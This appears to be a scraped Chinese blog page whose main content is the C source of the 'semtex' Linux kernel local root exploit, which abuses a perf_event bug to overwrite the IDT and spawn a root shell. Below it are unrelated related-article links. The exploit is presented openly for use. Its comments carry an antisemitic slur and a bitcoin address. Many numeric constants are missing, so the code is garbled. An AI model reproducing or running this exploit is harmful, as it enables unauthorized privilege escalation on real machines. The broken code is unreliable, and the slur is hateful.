/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/ #define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h> #define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() {
int i,j,k;
uint64_t uids[] = { AB(), AB(), AB(), AB() };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-));
uint64_t kbase = ((uint64_t)current)>>;
uint32_t *fixptr = (void*) AB();
*fixptr = -; for (i=; i<; i+=) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[];
if ((p[] != p[]) || ((p[]>>) != kbase)) continue;
for (j=; j<; j++) { for (k = ; k < ; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = ; i < ; i++) t[j+i] = ;
for (i = ; i < ; i++) t[j++i] = -;
return;
next:; }
}
} void sheep(uint32_t off) {
uint64_t buf[] = { 0x4800000001,off,,,,0x300 };
int fd = syscall(, buf, , -, -, );
assert(!close(fd));
} int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = ;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, , 0x32, ,)) == (void*)BASE);
memset(map, , SIZE);
sheep(-); sheep(-);
for (i = ; i < SIZE/; i++) if (map[i]) {
assert(map[i+]);
break;
}
assert(i<SIZE/);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, , 0x32, , )) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-; memcpy(code, &fuck, );
memcpy(code-,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % );
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+);
assert(p = memmem(code, , &needle, ));
if (!p) continue;
*p = j?((g<<)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/) + );
asm("int $0x4"); assert(!setuid());
return execl("/bin/bash", "-sh", NULL);
}

linux 2.6.37-3.x.x x86_64的更多相关文章

  1. 每天一个linux命令(37):date命令

    在linux环境中,不管是编程还是其他维护,时间是必不可少的,也经常会用到时间的运算,熟练运用date命令来表示自己想要表示的时间,肯定可以给自己的工作带来诸多方便. 1.命令格式: date [参数 ...

  2. vbox下安装 linux 64 bit出现“kernel requires an x86_64 cpu

        今天在vbox下安装linux 64bit出现"kernel requires an x86_64 cpu, but only detected "的错误,网上有很多文章介 ...

  3. 【转】每天一个linux命令(37):date命令

    原文网址:http://www.cnblogs.com/peida/archive/2012/12/13/2815687.html 在linux环境中,不管是编程还是其他维护,时间是必不可少的,也经常 ...

  4. 每天一个linux命令(37):free 命令

    free命令可以显示Linux系统中空闲的.已用的物理内存及swap内存,及被内核使用的buffer.在Linux系统监控的工具中,free命令是最经常使用的命令之一. 1.命令格式: free [参 ...

  5. tenda u1 usb wireless device install driver for kali linux kernal Debian 4.3.3-7kali2 (2016-01-27) x86_64 GNU/Linux

    因为内核比较新的关系,tenda官方网站上面提供给u1无线网卡的驱动并不能正常编译使用,编译的时候报一个类似错误 /usr/src/linux-headers--kali1-common/Makefi ...

  6. linux每日命令(37):top命令

    top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器.下面详细介绍它的使用方法.top是一个动态显示过程,即可以通过用户按键来不断刷新 ...

  7. linux 下安装mysql-5.7.12-1.el6.x86_64.rpm-bundle.tar

    -rw-rw-r--. hadoop hadoop Nov : mysql--.el6.x86_64.rpm-bundle.tar tar -xvf mysql-5.7.12-1.el6.x86_64 ...

  8. 《Linux命令行与shell脚本编程大全 第3版》Linux命令行---37

    以下为阅读<Linux命令行与shell脚本编程大全 第3版>的读书笔记,为了方便记录,特地与书的内容保持同步,特意做成一节一次随笔,特记录如下:

  9. 每天一个Linux命令(37)kill命令

          Linux中的kill命令用来终止指定的进程(terminate a process)的运行. kill可将指定的信息送至程序.预设的信息为SIGTERM(15),可将指定程序终止.   ...

  10. 『学了就忘』Linux基础命令 — 37、Linux中挂载操作的相关命令

    目录 1.mount命令介绍 (1)mount命令说明 (2)mount命令格式 2.mount命令示例 3.mount -a命令说明 4.-o特殊选项说明 5.exec/noexec选项说明 挂载就 ...

随机推荐

  1. 六间房 去掉水印的方法 绕过游客VIP限制

    firefox 40 + Adblock Plus 2.6.9.1 + Execute JS 0.2.4.1 Adblock Plus 过滤规则里添加 ------------------------ ...

  2. Bootstrap分页插件:bootstrap-paginator

    今天和大家分享一个Bootstrap的分页插件:bootstrap-paginator. 插件地址: https://github.com/lyonlai/bootstrap-paginator 先看 ...

  3. php请求URL中的参数有空格

    url=http://www.123.com/abc.php?name=ku xiong ku xiong之间有一个空格,需要替换成%20或者+ url=http://www.123.com/abc. ...

  4. static_cast, dynamic_cast, const_cast

    http://www.cnblogs.com/chio/archive/2007/07/18/822389.html 首先回顾一下C++类型转换: C++类型转换分为:隐式类型转换和显式类型转换 第1 ...

  5. 一、HTML和CSS基础--HTML+CSS基础课程--第5部分

    第九章 CSS盒模型 元素分类
: 在讲解CSS布局之前,我们需要提前知道一些知识,在CSS中,html中的标签元素大体被分为三种不同的类型:块状元素.内联元素(又叫行内元素)和内联块状元素. 常用的 ...

  6. java基础知识回顾之java Thread类学习(十一)--join方法的理解

    以下面例子说明下面的源码:main 线程 和 A线程,A线程是main线程创建并且启动的,main线程优先级比较高,正在执行:这个时候main线程调用A.join()之后,main线程一直等待,直到A ...

  7. adb logcat 命令

    转自:http://blog.csdn.net/tumuzhuanjia/article/details/39555445 1. 解析 adb logcat 的帮助信息 在命令行中输入 adb log ...

  8. UML中的依赖关系

    UML中的五种关系和设计模式中的代码实现. 又重新听了一遍UML中的关系.感觉又是收获很大. UML中的关系有依赖,关联(聚合,组合),泛化(也叫继承),实现 现在一个一个的来实现: 一:依赖 依赖关 ...

  9. [译]SQL Server 之 索引基础

    SQL Server中,索引以B-tree的结构组织数据.B-tree代表平衡树,但是SQL Server使用一种叫做B+的树. B+树不是总是保持严格的平衡的树. 首先,索引有两个主要的部件:一个页 ...

  10. active mq 配置延时

    修改activemq.xml 在<broker>里添加属性schedulerSupport="true" 参考:http://blog.csdn.net/kimmkin ...